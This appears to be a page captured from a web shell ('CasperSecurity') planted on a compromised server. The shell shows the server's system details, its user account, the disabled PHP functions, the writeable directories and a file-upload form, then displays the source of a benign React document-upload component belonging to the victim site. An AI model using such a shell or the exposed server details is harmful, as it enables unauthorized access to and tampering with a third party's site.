T.ME/BIBIL_0DAY
CasperSecurity


Server : Apache/2
System : Linux server-15-235-50-60 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64
User : gositeme ( 1004)
PHP Version : 8.2.29
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Directory :  /home/gositeme/domains/lavocat.ca/public_html/src/components/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/gositeme/domains/lavocat.ca/public_html/src/components/DocumentManager.tsx
import React, { useRef, useState } from 'react';

const FILE_TYPE_ICONS: Record<string, JSX.Element> = {
  pdf: <svg className="w-7 h-7 text-red-500" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path strokeLinecap="round" strokeLinejoin="round" strokeWidth={2} d="M19 21H5a2 2 0 01-2-2V5a2 2 0 012-2h7l5 5v11a2 2 0 01-2 2z" /></svg>,
  image: <svg className="w-7 h-7 text-blue-400" fill="none" stroke="currentColor" viewBox="0 0 24 24"><rect width="20" height="14" x="2" y="5" rx="2" /><circle cx="8.5" cy="10.5" r="1.5" /><path d="M21 19l-5.5-5.5a2.121 2.121 0 00-3 0L3 19" /></svg>,
  video: <svg className="w-7 h-7 text-purple-500" fill="none" stroke="currentColor" viewBox="0 0 24 24"><rect width="20" height="14" x="2" y="5" rx="2" /><polygon points="10,9 16,12 10,15" fill="currentColor" /></svg>,
  audio: <svg className="w-7 h-7 text-green-500" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path d="M9 19V6l12-2v13" /><circle cx="6" cy="18" r="3" /></svg>,
  doc: <svg className="w-7 h-7 text-blue-700" fill="none" stroke="currentColor" viewBox="0 0 24 24"><rect width="20" height="14" x="2" y="5" rx="2" /><path d="M2 7h20" /></svg>,
  other: <svg className="w-7 h-7 text-gray-400" fill="none" stroke="currentColor" viewBox="0 0 24 24"><rect width="20" height="14" x="2" y="5" rx="2" /><path d="M2 7h20" /></svg>,
};

function getFileTypeIcon(name: string, type: string) {
  if (type.includes('pdf') || name.match(/\.pdf$/i)) return FILE_TYPE_ICONS.pdf;
  if (type.startsWith('image') || name.match(/\.(jpg|jpeg|png|gif|bmp|webp)$/i)) return FILE_TYPE_ICONS.image;
  if (type.startsWith('video') || name.match(/\.(mp4|webm|mov|avi)$/i)) return FILE_TYPE_ICONS.video;
  if (type.startsWith('audio') || name.match(/\.(mp3|wav|ogg)$/i)) return FILE_TYPE_ICONS.audio;
  if (type.includes('word') || name.match(/\.(doc|docx)$/i)) return FILE_TYPE_ICONS.doc;
  if (type.includes('excel') || name.match(/\.(xls|xlsx)$/i)) return FILE_TYPE_ICONS.doc;
  return FILE_TYPE_ICONS.other;
}

function getFileTypeLabel(type: string, name: string) {
  if (type.includes('pdf') || name.match(/\.pdf$/i)) return 'PDF Document';
  if (type.startsWith('image') || name.match(/\.(jpg|jpeg|png|gif|bmp|webp)$/i)) return 'Image';
  if (type.startsWith('video') || name.match(/\.(mp4|webm|mov|avi)$/i)) return 'Video';
  if (type.startsWith('audio') || name.match(/\.(mp3|wav|ogg)$/i)) return 'Audio';
  if (type.includes('word') || name.match(/\.(doc|docx)$/i)) return 'Word Document';
  if (type.includes('excel') || name.match(/\.(xls|xlsx)$/i)) return 'Excel Spreadsheet';
  return 'File';
}

interface FileItem {
  id: string;
  name: string;
  url: string;
  type: string;
  size?: number;
  status?: string;
}

const DocumentManager: React.FC<{
  files: FileItem[];
  onUpload: (files: File[]) => void;
  onDelete: (id: string) => void;
  onPreview?: (file: FileItem) => void;
}> = ({ files, onUpload, onDelete, onPreview }) => {
  const [dragActive, setDragActive] = useState(false);
  const [previewFile, setPreviewFile] = useState<FileItem | null>(null);
  const inputRef = useRef<HTMLInputElement>(null);

  const handleDrag = (e: React.DragEvent) => {
    e.preventDefault();
    e.stopPropagation();
    setDragActive(e.type === 'dragover');
  };

  const handleDrop = (e: React.DragEvent) => {
    e.preventDefault();
    e.stopPropagation();
    setDragActive(false);
    if (e.dataTransfer.files && e.dataTransfer.files.length > 0) {
      onUpload(Array.from(e.dataTransfer.files));
    }
  };

  const handleFileChange = (e: React.ChangeEvent<HTMLInputElement>) => {
    if (e.target.files) {
      onUpload(Array.from(e.target.files));
    }
  };

  // Helper for status badge
  const getStatusBadge = (status?: string) => {
    if (!status) return null;
    let color = 'bg-gray-200 text-gray-700';
    if (status.toLowerCase() === 'pending') color = 'bg-yellow-100 text-yellow-800';
    if (status.toLowerCase() === 'approved') color = 'bg-green-100 text-green-800';
    if (status.toLowerCase() === 'rejected') color = 'bg-red-100 text-red-800';
    return (
      <span className={`ml-2 px-2 py-0.5 rounded-full text-xs font-semibold ${color}`}>{status.charAt(0).toUpperCase() + status.slice(1)}</span>
    );
  };

  return (
    <div className="w-full max-w-2xl mx-auto">
      {/* Upload Area */}
      <div
        className={`relative flex flex-col items-center justify-center p-8 mb-8 rounded-2xl border-2 border-dashed transition-all duration-200 ${dragActive ? 'border-blue-500 bg-blue-50/60' : 'border-gray-300 bg-white/60'} backdrop-blur-md shadow-lg`}
        onDragOver={handleDrag}
        onDragEnter={handleDrag}
        onDragLeave={handleDrag}
        onDrop={handleDrop}
        style={{ minHeight: 140 }}
      >
        <input
          ref={inputRef}
          type="file"
          multiple
          className="absolute inset-0 opacity-0 cursor-pointer"
          onChange={handleFileChange}
        />
        <div className="flex flex-col items-center pointer-events-none">
          <svg className="w-12 h-12 text-blue-400 mb-2" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path strokeLinecap="round" strokeLinejoin="round" strokeWidth={2} d="M7 16V4a1 1 0 011-1h8a1 1 0 011 1v12m-5 4v-4m0 0l-2 2m2-2l2 2" /></svg>
          <span className="font-semibold text-gray-700">Drag & drop files here or <span className="text-blue-600 underline">browse</span></span>
          <span className="text-xs text-gray-500 mt-1">PDF, images, video, audio, Word, Excel, and more. Max 100MB each.</span>
        </div>
      </div>

      {/* File List */}
      <div className="grid gap-4">
        {files.map((file) => (
          <div
            key={file.id}
            className="flex items-center bg-white/80 rounded-xl shadow-md p-4 hover:shadow-xl transition-shadow backdrop-blur-md cursor-pointer group"
            onClick={() => onPreview ? onPreview(file) : setPreviewFile(file)}
            tabIndex={0}
            role="button"
            onKeyDown={e => { if (e.key === 'Enter' || e.key === ' ') { onPreview ? onPreview(file) : setPreviewFile(file); } }}
          >
            <div className="mr-4 flex-shrink-0">{getFileTypeIcon(file.name, file.type)}</div>
            <div className="flex-1 min-w-0">
              <div className="font-medium text-gray-900 truncate flex items-center">
                {file.name}
                {getStatusBadge(file.status)}
              </div>
              <div className="text-xs text-gray-500 truncate">{getFileTypeLabel(file.type, file.name)}{file.size ? ` • ${(file.size / 1024).toFixed(1)} KB` : ''}</div>
            </div>
            <div className="flex items-center gap-2 ml-4">
              {/* Always allow preview if file has a URL */}
              {file.url && (
                <button
                  onClick={e => { e.stopPropagation(); onPreview ? onPreview(file) : setPreviewFile(file); }}
                  className="px-2 py-1 text-blue-600 hover:text-blue-800 rounded border border-blue-100 hover:border-blue-300 text-xs group-hover:bg-blue-50"
                >
                  Preview
                </button>
              )}
              <a
                href={file.url}
                target="_blank"
                rel="noopener noreferrer"
                className="px-2 py-1 text-green-600 hover:text-green-800 rounded border border-green-100 hover:border-green-300 text-xs group-hover:bg-green-50"
                download
                onClick={e => e.stopPropagation()}
              >
                Download
              </a>
              <button
                onClick={e => { e.stopPropagation(); onDelete(file.id); }}
                className="ml-2 text-red-500 hover:text-red-700 p-1 rounded-full group-hover:bg-red-50"
                title="Delete"
              >
                <svg className="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path strokeLinecap="round" strokeLinejoin="round" strokeWidth={2} d="M6 18L18 6M6 6l12 12" /></svg>
              </button>
            </div>
          </div>
        ))}
      </div>

      {/* Preview Modal */}
      {previewFile && !onPreview && (
        <div className="fixed inset-0 z-50 flex items-center justify-center bg-black/60 backdrop-blur-sm">
          <div className="bg-white rounded-2xl shadow-2xl max-w-2xl w-full p-6 relative">
            <button
              onClick={() => setPreviewFile(null)}
              className="absolute top-3 right-3 text-gray-400 hover:text-gray-700"
            >
              <svg className="h-6 w-6" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path strokeLinecap="round" strokeLinejoin="round" strokeWidth={2} d="M6 18L18 6M6 6l12 12" /></svg>
            </button>
            <div className="mb-4 font-semibold text-lg text-gray-900 truncate">{previewFile.name}</div>
            {/* Preview content by type */}
            {previewFile.type.startsWith('image') ? (
              <img src={previewFile.url} alt={previewFile.name} className="max-h-[60vh] mx-auto rounded-lg" />
            ) : previewFile.type.startsWith('video') ? (
              <video src={previewFile.url} controls className="max-h-[60vh] mx-auto rounded-lg" />
            ) : previewFile.type.startsWith('audio') ? (
              <audio src={previewFile.url} controls className="w-full" />
            ) : previewFile.type.includes('pdf') ? (
              <iframe src={previewFile.url} className="w-full h-[60vh] rounded-lg" title={previewFile.name} />
            ) : (
              <div className="text-gray-500">Preview not available for this file type.</div>
            )}
          </div>
        </div>
      )}
    </div>
  );
};

export default DocumentManager; 

CasperSecurity Mini